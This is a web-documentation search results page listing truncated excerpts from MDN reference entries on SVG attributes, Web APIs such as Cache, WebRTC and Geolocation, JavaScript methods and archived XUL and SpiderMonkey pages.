... svg attributes a to z a accent-height accumulate additive alignment-baseline allowreorder alphabetic amplitude arabic-form ascent attributename attributetype autoreverse azimuth b basefrequency baseline-shift baseprofile bbox begin bias by c calcmode cap-height class clip clippathunits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentscripttype contentstyletype cursor cx cy d d decelerate descent diffuseconstant direction display divisor dominant-baseline dur dx dy e edgemode elevation enable-background end exponent externalresourcesre...
...quired f fill fill-opacity fill-rule filter filterres filterunits flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight format from fr fx fy g g1 g2 glyph-name glyph-orientation-horizontal glyph-orientation-vertical glyphref gradienttransform gradientunits h hanging height href hreflang horiz-adv-x horiz-origin-x i id ideographic image-rendering in in2 intercept k k k1 k2 k3 k4 kernelmatrix kernelunitlength kerning keypoints keysplines keytimes l lang lengthadjust letter-spacing lighting-color limitingconeangle local m marker-end marker-mid marker-start markerheight markerunits markerwidth mask maskcontentunits maskunits mathematical max ...
...And 6 more matches
SVG: Scalable Vector Graphics
WebSVG
scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.
... as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascript, and smil.
... svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed.
...And 6 more matches
notifications - Archive of obsolete content
usage this api supports desktop notifications on windows, os x using growl (and notification center as of os x 10.9 mavericks), and linux using libnotify.
... here's a typical example.
... var notifications = require("sdk/notifications"); notifications.notify({ title: "jabberwocky", text: "'twas brillig, and the slithy toves", data: "did gyre and gimble in the wabe", onclick: function (data) { console.log(data); // console.log(this.data) would produce the same result.
...And 5 more matches
List of Former Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known applications that at one point used mozilla technologies or that are no longer being actively maintained.
... a list of actively maintained mozilla-based applications is also available.
... applications that switched to another technology name description additional information angelsoft tools for startups, vcs, and angel investors switched from xulrunner-based client to a web application autodesk maya 3d modeling tool switched off of gecko for help browser in version 8.5 blam feed reader switched to webkit in version 1.8.6 boxee media center software switched to webkit in version 1.0 epiphany browser switched from gecko to webkit flock social browsing flock switched from being firefox-based to chromium-based when it released a new beta on june 16, 2010 jolicloud web operating system as of march 2010, rw/w reports jolicloud is on chrome/chrome os j...
...And 5 more matches
Making sure your theme works with RTL locales - Archive of obsolete content
the important thing to understand about these locales, is that the entire interface is mirrored right-to-left.
...should i make a special theme for these locales?" don't despair: making a theme rtl-compatible is fairly easy!
... gecko 1.9.2 and later gecko 1.9.2 introduced the :-moz-locale-dir css pseudoclass, which matches based on whether the user interface is being rendered left-to-right or right-to-left: :-moz-locale-dir(ltr) matches if the user interface is being rendered left to right.
...And 5 more matches
caret - MDN Web Docs Glossary: Definitions of Web-related terms
a caret (sometimes called a "text cursor") is an indicator displayed on the screen to indicate where text input will be inserted.
... most user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary.
... this point in the text is called the insertion point.
...And 5 more matches
mozbrowsercaretstatechanged
the mozbrowsercaretstatechanged event is fired when the user selects content in a page loaded in a browser <iframe>.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 5 more matches
mozbrowserlocationchange
the mozbrowserlocationchange event is fired when a browser <iframe>'s location changes — it is fired every time navigation occurs.
... general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event.
... cancelable read only boolean whether the event is cancellable or not.
...And 5 more matches
JS_BindCallable
this article covers features introduced in spidermonkey 17 bind the given callable to use the given object as this.
... syntax jsobject* js_bindcallable(jscontext *cx, js::handle<jsobject*> callable, js::handle<jsobject*> newthis); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
...And 5 more matches
JS_LeaveLocalRootScope
leave a local root scope.
... syntax void js_leavelocalrootscope(jscontext *cx); name type description cx jscontext * pointer to the context.
... this must be the same context passed to js_enterlocalrootscope().
...And 5 more matches
nsIAuthPromptCallback
netwerk/base/public/nsiauthpromptcallback.idlscriptable interface for callback methods for the asynchronous nsiauthprompt2 method.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) callers must call exactly one method if nsiauthprompt2.asyncpromptauth() returns successfully.
... they must not call any method on this interface before nsiauthprompt2.asyncpromptauth() returns.
...And 5 more matches
nsIScriptableUnescapeHTML
parser/html/nsiscriptableunescapehtml.idlscriptable this interface is a utility interface that exposes the kind of markup parser behavior that the feed service needs.
... implemented by: @mozilla.org/feed-unescapehtml;1 as a service: var scriptableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml); method overview nsidomdocumentfragment parsefragment(in astring fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); me...
... this is equivalent to calling nsiparserutils::parsefragment(fragment, 0, isxml, baseuri, element).
...And 5 more matches
nsIZipReaderCache
inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: @mozilla.org/libjar/zip-reader-cache;1.
... to create an instance, use: var zipreadercache = components.classes["@mozilla.org/libjar/zip-reader-cache;1"] .createinstance(components.interfaces.nsizipreadercache); method overview nsizipreader getinnerzip(in nsifile zipfile, in autf8string zipentry); nsizipreader getinnerzip(in nsifile zipfile, in string zipentry); obsolete since gecko 10 nsizipreader getzip(in nsifile zipfile); void init(in unsigned long cachesize); methods getinnerzip() returns a (possibly shared) cached nsizipreader for a zip inside another zip.
...getzip() returns a (possibly shared) cached nsizipreader for a zip file.
...And 5 more matches
Attr.localName - Web APIs
WebAPIAttrlocalName
the attr.localname read-only property returns the local part of the qualified name of an attribute.
... in previous dom specifications this api was defined within the node interface.
... syntax name = attribute.localname return value a domstring representing the local part of the attribute's qualified name.
...And 5 more matches
AuthenticatorAttestationResponse.getTransports() - Web APIs
gettransports() is a method of the authenticatorattestationresponse interface that returns an array containing strings describing the different transports which may be used by the authenticator.
... such transports may be usb, nfc, ble or internal (applicable when the authenticator is not removable from the device).
... note: an authenticatorattestationresponse instance is available on publickeycredential.response after calling navigator.credentials.create().
...And 5 more matches
AuthenticatorAttestationResponse - Web APIs
the authenticatorattestationresponse interface of the web authentication api is returned by credentialscontainer.create() when a publickeycredential is passed, and provides a cryptographic root of trust for the new key pair that has been generated.
... this interface inherites from authenticatorresponse.
... properties authenticatorattestationresponse.clientdatajson secure contextread only client data for the authentication, such as origin and challenge.
...And 5 more matches
AuthenticatorResponse.clientDataJSON - Web APIs
the clientdatajson property of the authenticatorresponse interface stores a json string in an arraybuffer, representing the client data that was passed to credentialscontainer.create() or credentialscontainer.get().
... this property is only accessed on one of the child objects of authenticatorresponse, specifically authenticatorattestationresponse or authenticatorassertionresponse.
... syntax var arraybuffer = authenticatorattestationresponse.clientdatajson; var arraybuffer = authenticatorassertionresponse.clientdatajson; value an arraybuffer.
...And 5 more matches
Cache.add() - Web APIs
WebAPICacheadd
the add() method of the cache interface takes a url, retrieves it, and adds the resulting response object to the given cache.
... the add() method is functionally equivalent to the following: fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) for more complex operations, you'll need to use cache.put() directly.
... note: add() will overwrite any key/value pair previously stored in the cache that matches the request.
...And 5 more matches
Cache.delete() - Web APIs
WebAPICachedelete
the delete() method of the cache interface finds the cache entry whose key is the request, and if found, deletes the cache entry and returns a promise that resolves to true.
... if no cache entry is found, it resolves to false.
... syntax cache.delete(request, {options}).then(function(found) { // your cache entry has been deleted if found }); parameters request the request you are looking to delete.
...And 5 more matches
Cache.keys() - Web APIs
WebAPICachekeys
the keys() method of the cache interface returns a promise that resolves to an array of cache keys.
... note: requests with duplicate urls but different headers can be returned if their responses have the vary header set on them.
... syntax cache.keys(request, {options}).then(function(keys) { // do something with your array of requests }); parameters request optional the request want to return, if a specific key is desired.
...And 5 more matches
CanvasRenderingContext2D.stroke() - Web APIs
the canvasrenderingcontext2d.stroke() method of the canvas 2d api strokes (outlines) the current or given path with the current stroke style.
... examples a simple stroked rectangle this example creates a rectangle using the rect() method, and then draws it to the canvas using stroke().
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke.
...And 5 more matches
Document: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
...therefore, either directly or because any of its containing nodes are hidden.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied.
...And 5 more matches
Geolocation.watchPosition() - Web APIs
the geolocation method watchposition() method is used to register a handler function that will be called automatically each time the position of the device changes.
... you can also, optionally, specify an error handling callback function.
... syntax navigator.geolocation.watchposition(success[, error[, options]]) parameters success a callback function that takes a geolocationposition object as an input parameter.
...And 5 more matches
GeolocationPosition - Web APIs
the geolocationposition interface represents the position of the concerned device at a given time.
... the position, represented by a geolocationcoordinates object, comprehends the 2d position of the device, on a spheroid representing the earth, but also its altitude and its speed.
... properties the geolocationposition interface doesn't inherit any properties.
...And 5 more matches
HTMLCanvasElement.mozGetAsFile() - Web APIs
the non-standard, firefox-specific the htmlcanvaselement method mozgetasfile() returns a memory-based file object representing the image contained in the canvas.
... syntax canvas.mozgetasfile(name, type); parameters name a domstring indicating the file name to give the file representing the image file in memory.
... return value a file object representing the image contained in the canvas.
...And 5 more matches
HTMLElement: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel examples this code gets an element that has a transition defined and adds a listener to the transitioncancel event: const transition = document.queryselector('.transition'); transition.addeventlistener('transitioncancel', () => { console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div cla...
...And 5 more matches
HTMLMediaElement.captureStream() - Web APIs
the capturestream() property of the htmlmediaelement interface returns a mediastream object which is streaming a real-time capture of the content being rendered in the media element.
... this can be used, for example, as a source for a webrtc rtcpeerconnection.
... syntax var mediastream = mediaelement.capturestream() parameters none.
...And 5 more matches
IDBLocaleAwareKeyRange - Web APIs
the idblocaleawarekeyrange interface of the indexeddb api is a firefox-specific version of idbkeyrange — it functions in exactly the same fashion, and has the same properties and methods, but it is intended for use with idbindex objects when the original index had a locale value specified upon its creation (see createindex()'s optionalparameters) — that is, it has locale aware sorting enabled.
... bear in mind however that idblocaleawarekeyrange has its own implementation of idbkeyrange.bound.
... this is because when you use bound(), it checks if lower bound < upper bound, and throws an exception if that’s not the case.
...And 5 more matches
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities interface of the input device capabilities api provides information about the physical device or a group of related devices responsible for generating input events.
... events caused by the same physical input device get the same instance of this object, but the converse isn't true.
... for example, two mice with the same capabilities in a system may appear as a single inputdevicecapabilities instance.
...And 5 more matches
MSCandidateWindowShow - Web APIs
mscandidatewindowshow fires immediately after the input method editor (ime) candidate window is set to appear, but before it renders.
... general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event.
... syntax event property object.oncandidatewindowshow = handler; addeventlistener method object.addeventlistener("mscandidatewindowshow", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
...And 5 more matches
MediaTrackSettings.logicalSurface - Web APIs
the mediatracksettings dictionary's logicalsurface property indicates whether or not the display area being captured is a logical surface.
... logical surfaces are those which are not necessarily entirely onscreen, or may even be off-screen, such as windows' backing buffers (where only part of the buffer is visible without scrolling the containing window) and offscreen rendering contexts.
... syntax islogicalsurface = mediatracksettings.logicalsurface; value a boolean value which is true if the video track in the stream of captured video is taken from a logical display surface.
...And 5 more matches
PaymentAddress.dependentLocality - Web APIs
the read-only dependentlocality property of the paymentaddress interface is a string containing a sublocality designation within a city, such as a neighborhood, borough, district, or, in the united kingdom, a dependent locality.
... syntax var paymentdependentlocality = paymentaddress.dependentlocality; value a domstring indicating the sublocality portion of the address.
... this may be an empty string if no sublocality is available or required.
...And 5 more matches
RTCIceCandidate.sdpMid - Web APIs
the read-only property sdpmid on the rtcicecandidate interface returns a domstring specifying the media stream identification tag of the media component with which the candidate is associated.
... this id uniquely identifies a given stream for the component with which the candidate is associated.
... this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate().
...And 5 more matches
RTCIceCandidate.tcpType - Web APIs
the rtcicecandidate interface's read-only tcptype property is included on tcp candidates to provide additional details about the candidate type.
... the tcptype field's value is set when the rtcicecandidate() constructor is used.
... you can't directly set its value; instead, its value is automatically extracted from the candidate a-line, if it's formatted properly.
...And 5 more matches
RTCIceCandidatePairStats.availableIncomingBitrate - Web APIs
the rtcicecandidatepairstats property availableincomingbitrate returns a value indicative of the available inbound capacity of the network connection represented by the candidate pair.
... the higher the value, the more bandwidth you can assume is available for incoming data.
... you can get the incoming outgoing bitrate from availableoutgoingbitrate.
...And 5 more matches
RTCIceCandidatePairStats.priority - Web APIs
the obsolete rtcicecandidatepairstats property priority reports the priority of the candidate pair as an integer value.
... the higher the value, the more likely the webrtc layer is to select the candidate pair when the time comes to establish (or re-establish) a connection between the two peers.
... syntax pairpriority = rtcicecandidatepairstats.priority; value an integer value indicating the priority of this pair of candidates as compared to other pairs on the same peer connection.
...And 5 more matches
RTCIceCandidatePairStats.selected - Web APIs
the non-standard, firefox-specific rtcicecandidatepairstats property selected indicates whether or not the candidate pair described by the object is the one currently being used to communicate with the remote peer.
... syntax isselected = icpstats.selected; value a firefox-specific boolean value which is true if the candidate pair described by this object is the one currently in use.
... in any other browser, you can determine the selected candidate pair by looking for a stats object of type transport, which is an rtctransportstats object.
...And 5 more matches
RTCIceCandidateStats.networkType - Web APIs
the rtcicecandidatestats dictionary's networktype property specifies the type of network used by a local candidate to communicate with a remote peer.
... note: the networktype property is only included in rtcicecandidatestats objects for local candidates (that is, candidates generated locally and included in an sdp offer or answer that has been sent to the remote peer).
... syntax networktype = rtcicecandidatestats.networktype; value a domstring whose value is taken from the rtcnetworktype enumerated type.
...And 5 more matches
RTCIceCandidateStats.priority - Web APIs
the rtcicecandidatestats dictionary's priority property is a positive integer value indicating the priority (or desirability) of the described candidate.
... during ice negotiation while setting up a webrtc peer connection, the priority values reported to the remote peer by a user agent are used to determine which candidates are considered "more desirable".
... the higher the value, the more desirable the candidate is.
...And 5 more matches
RTCPeerConnection.currentLocalDescription - Web APIs
the read-only property rtcpeerconnection.currentlocaldescription returns an rtcsessiondescription object describing the local end of the connection as it was most recently successfully negotiated since the last time the rtcpeerconnection finished negotiating and connecting to a remote peer.
... also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the description was first instantiated.
... to change the currentlocaldescription, call rtcpeerconnection.setlocaldescription(), which triggers a series of events which leads to this value being set.
...And 5 more matches
RTCStatsIceCandidatePairState - Web APIs
the rtcstatsicecandidatepairstate enumerated type represents the set of string values which are possible for the rtcicecandidatepairstats object's state property.
... this represents the state of this candidate pair within the ice check list for the rtcpeerconnection.
... see ice check lists in rtcicecandidatepairstats.state for further information about how ice check lsits work.
...And 5 more matches
ReadableStreamDefaultReader.cancel() - Web APIs
the cancel() method of the readablestreamdefaultreader interface cancels the stream, signaling a loss of interest in the stream by a consumer.
... cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
... that data is lost after cancel is called, and the stream is not readable any more.
...And 5 more matches
Window: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
...therefore, either directly or because any of its containing nodes are hidden.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied.
...And 5 more matches
XRSession.cancelAnimationFrame() - Web APIs
the cancelanimationframe() method of the xrsession interface cancels an animation frame which was previously requested by calling requestanimationframe.
... syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that previously scheduled the animation callback.
... usage notes this function has no effect if the specified handle cannot be found.
...And 5 more matches
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept attribute.
...the capture attribute is supported on the file input type.
... the capture attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...And 5 more matches
Location - HTTP
WebHTTPHeadersLocation
the location response header indicates the url to redirect a page to.
... in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know).
... all responses with one of these status codes send a location header.
...And 5 more matches
Intl.Locale.prototype.region - JavaScript
the intl.locale.prototype.region property is an accessor property that returns the region of the world (usually a country) associated with the locale.
... description the region is an essential part of the locale identifier, as it places the locale in a specific area of the world.
... knowing the locale's region is vital to identifying differences between locales.
...And 5 more matches
Intl.Locale.prototype.toString() - JavaScript
the intl.locale.prototype.tostring() returns the locale's full locale identifier string.
... syntax locale.tostring() return value the locale's unicode locale identifier string.
... description the locale object is a javascript representation of a concept unicode locale identifier.
...And 5 more matches
Object.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string representing the object.
... this method is meant to be overridden by derived objects for locale-specific purposes.
... syntax obj.tolocalestring() return value a string representing the object.
...And 5 more matches
String.prototype.concat() - JavaScript
the concat() method concatenates the string arguments to the calling string and returns a new string.
... syntax str.concat(str2 [, ...strn]) parameters str2 [, ...strn] strings to concatenate to str.
... description the concat() function concatenates the string arguments to the calling string and returns a new string.
...And 5 more matches
baseline-shift - SVG: Scalable Vector Graphics
note: as a presentation attribute baseline-shift can be used as a css property.
... note: this property is going to be deprecated and authors are advised to use vertical-align instead.
... as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <tref>, and <tspan> usage notes value <length-percentage> | sub | super default value 0 animatable yes sub the dominant-baseline is shifted to the default position for subscripts.
...And 5 more matches
color-interpolation-filters - SVG: Scalable Vector Graphics
thus, in the default case, filter effects operations occur in the linearrgb color space, whereas all other color interpolations occur by default in the srgb color space.
... note: as a presentation attribute, color-interpolation can be used as a css property.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following eighteen elements: <fespotlight>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> usage notes value auto | srgb | linearrgb default value linearrgb animatable yes auto indicates that the user agent can choose either the srgb or linearrgb spaces for color interpolation.
...And 5 more matches
color-interpolation - SVG: Scalable Vector Graphics
for gradients which make use of the href or the deprecated xlink:href attribute to reference another gradient, the gradient uses the propertyʼs value from the gradient element which is directly referenced by the fill or stroke property.
... note: as a presentation attribute, color-interpolation can be used as a css property.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> usage notes value auto | srgb | linearrgb default value srgb animatable yes auto indicates that the user agent can choose either the srgb or linearrgb spaces for color interpolation.
...And 5 more matches
cx - SVG: Scalable Vector Graphics
WebSVGAttributecx
value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for circles.
... value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for ellipses.
...stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cx' in that specification.
...And 5 more matches
cy - SVG: Scalable Vector Graphics
WebSVGAttributecy
value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for circles.
... value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for ellipses.
...stop offset="50%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </radialgradient> </defs> <rect x="1" y="1" width="8" height="8" fill="url(#mygradient000)" stroke="black" /> <rect x="13" y="1" width="8" height="8" fill="url(#mygradient050)" stroke="black" /> <rect x="25" y="1" width="8" height="8" fill="url(#mygradient100)" stroke="black" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'cy' in that specification.
...And 5 more matches
direction - SVG: Scalable Vector Graphics
it applies only to glyphs oriented perpendicular to the inline-base direction, which includes the usual case of horizontally-oriented latin or arabic text and the case of narrow-cell latin or arabic characters rotated 90 degrees clockwise relative to a top-to-bottom inline-base direction.
... in many cases, the bidirectional unicode algorithm produces the desired result automatically, so this attribute doesn't need to be specified in those cases.
... for other cases, such as when using right-to-left languages, it may be sufficient to add the direction attribute to the outermost <svg> element, and allow that direction to inherit to all text elements: note: as a presentation attribute, direction can be used as a css property.
...And 5 more matches
enable-background - SVG: Scalable Vector Graphics
note: as a presentation attribute, enable-background can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <a>, <defs>, <glyph>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, and <symbol> context notes value accumulate | new [ <x> <y> <width> <height> ]?
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device.
...And 5 more matches
font-variant - SVG: Scalable Vector Graphics
the font-variant attribute indicates whether the text is to be rendered using variations of the fontʼs glyphs.
... note: as a presentation attribute, font-variant can be used as a css property.
... as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( <feature-value-name># ) || character-variant( <feature-value-name># ) || swash( <feature-value-name> ) |...
...And 5 more matches
gradientUnits - SVG: Scalable Vector Graphics
value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse this value indicates that the attributes represent values in the coordinate system that results from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element via a fill or stroke property) and then applying the transform specified by attribute gradienttransform.
... objectboundingbox this value indicates that the user coordinate system for the attributes is established using the bounding box of the element to which the gradient is applied and then applying the transform specified by attribute gradienttransform.
...this transformation is due to application of the non-uniform scaling transformation from bounding box space to user space.
...And 5 more matches
method - SVG: Scalable Vector Graphics
WebSVGAttributemethod
the method attribute indicates the method by which text should be rendered along the path of a <textpath> element.
... only one element is using this attribute: <textpath> textpath for <textpath>, method indicates the method by which text should be rendered along the path.
... value align | stretch default value align animatable yes align this value indicates that the characters should be rendered so that they are not stretched or warped.
...And 5 more matches
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
the orient attribute indicates how a marker is rotated when it is placed at its position on the shape.
...r-end="url(#arrow)" /> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dataarrow)" marker-mid="url(#dataarrow)" marker-end="url(#dataarrow)" /> </svg> usage notes value auto | auto-start-reverse | <angle> | <number> default value 0 animatable yes (non-additive) auto this value indicates that the marker is oriented such that its positive x-axis is pointing in a direction relative to the path at the position the marker is placed.
... note: this allows a single arrowhead marker to be defined that can be used for both the start and end of a path, i.e.
...And 5 more matches
spreadMethod - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges.
... reflect this value indicates that the gradient repeats in reverse beyond its edges.
... in the case of a linear gradient, the edges may be defined as a rectangle by the x1, x2, y1 and y2 attributes.
...And 5 more matches
stop-color - SVG: Scalable Vector Graphics
the stop-color attribute indicates what color to use at a gradient stop.
...svg does not calculate gradients in pre-multiplied space, so transparent really means transparent black.
... note: as a presentation attribute, stop-color can be used as a css property.
...And 5 more matches
systemLanguage - SVG: Scalable Vector Graphics
35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47.
...it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases.
... the attribute evaluates to "true" if one of the language tags indicated by user preferences is a case-insensitive match or prefix (followed by a "-") of one of the language tags given in the value of this parameter.
...And 5 more matches
<feColorMatrix> - SVG: Scalable Vector Graphics
the prime symbol ' is used in mathematics indicate the result of a transformation.
... | r' | | r1 r2 r3 r4 r5 | | r | | g' | | g1 g2 g3 g4 g5 | | g | | b' | = | b1 b2 b3 b4 b5 | * | b | | a' | | a1 a2 a3 a4 a5 | | a | | 1 | | 0 0 0 0 1 | | 1 | in simplified terms, below is how each color channel in the new pixel is calculated.
... the last row is ignored because its values are constant.
...And 5 more matches
<feSpecularLighting> - SVG: Scalable Vector Graphics
the lighting calculation follows the standard specular component of the phong lighting model.
...the result of the lighting calculation is added.
... this filter primitive produces an image which contains the specular reflection part of the lighting calculation.
...And 5 more matches
Example - SVG: Scalable Vector Graphics
// return this as a 2-tuple (x,y) in an array function dimensions() { // our rendering element var display = display(); var width = parseint( display.getattributens(null,'width') ); var height = parseint( display.getattributens(null,'height') ); return [width,height]; } // this is called by mouse move events var mouse_x = 200, mouse_y = 150; function onmousemove(evt) { mouse_x = evt.clientx; mouse_y = evt.clienty; var widget = document.getelementbyid('cursor'); widget.setattributens(null,'cx',mouse_x); widget.setattributens(null,'cy',mouse_y); } document.onmousemove = onmousemove; // determine (x,y) of the cursor function cursor() { return ...
... // warning: pseudo-physics -- not really // governed by any /real/ physical principles.
... mote.prototype.applyforce = function(pos, mag) { if( pos[0] > this.x ) this.vx += mag; else if( pos[0] < this.x ) this.vx -= mag; if( pos[1] > this.y ) this.vy += mag; else if( pos[1] < this.y ) this.vy -= mag; } // mote::capvelocity() -- apply an upper limit // on mote velocity.
...And 5 more matches
Basic shapes - SVG: Scalable Vector Graphics
some are slightly redundant in that they can be created by other shapes, but they're all there for your convenience and to keep your svg documents as short and as readable as possible.
... ellipse an <ellipse> is a more general form of the <circle> element, where you can scale the x and y radius (commonly refferred to as the semimajor and semiminor axes in maths) of the circle separately.
...since the list of points can get quite long, all the points are included in one attribute: <polyline points="60, 110 65, 120 70, 115 75, 130 80, 125 85, 140 90, 135 95, 150 100, 145"/> points a list of points.
...And 5 more matches
Other content in SVG - SVG: Scalable Vector Graphics
you can use it to embed arbitrary raster (and vector) images.
... the specification requests applications to support at least png, jpeg and svg format files.
...this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always embed arbitrary xml anywhere in an svg document.
...And 5 more matches
Deprecated and defunct markup - Archive of obsolete content
{many elements on this page are wrongly marked as deprecated, this page needs review} the following xul tags and attribute should be considered deprecated, if not defunct.
...even some of the information on the tags below may be out of date, but is provided here for historical reference and to help anyone who comes across them in old code or documentation.
... elements <actions> (listed here by mistake or was it a container tag?) typo for <action> --neil 03 march 2011 <autorepeatbutton> (action occurs repeatedly on mouse hover--used to construct other elements; used in <arrowscrollbox> and large drop-down menus) so, not deprecated?
...And 4 more matches
broadcaster - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a broadcaster is used when you want multiple elements to share one or more attribute values, or when you want elements to respond to a state change.
... any elements that are observing the broadcaster will share the attributes placed on the broadcaster.
... for instance, if the broadcaster has a label attribute, the observers will use that label.
...And 4 more matches
Make your xulrunner app match the system locale - Archive of obsolete content
also, this may not be the proper way to do this and it may not work for you in all cases.
...the first step is to get the code we're about to write to run before any of the locale specific resources are loaded.
... democracy does this by creating a command line handler called democracyclh, and then creating a new object of our pybridge component.
...And 4 more matches
NPAnyCallbackStruct - Archive of obsolete content
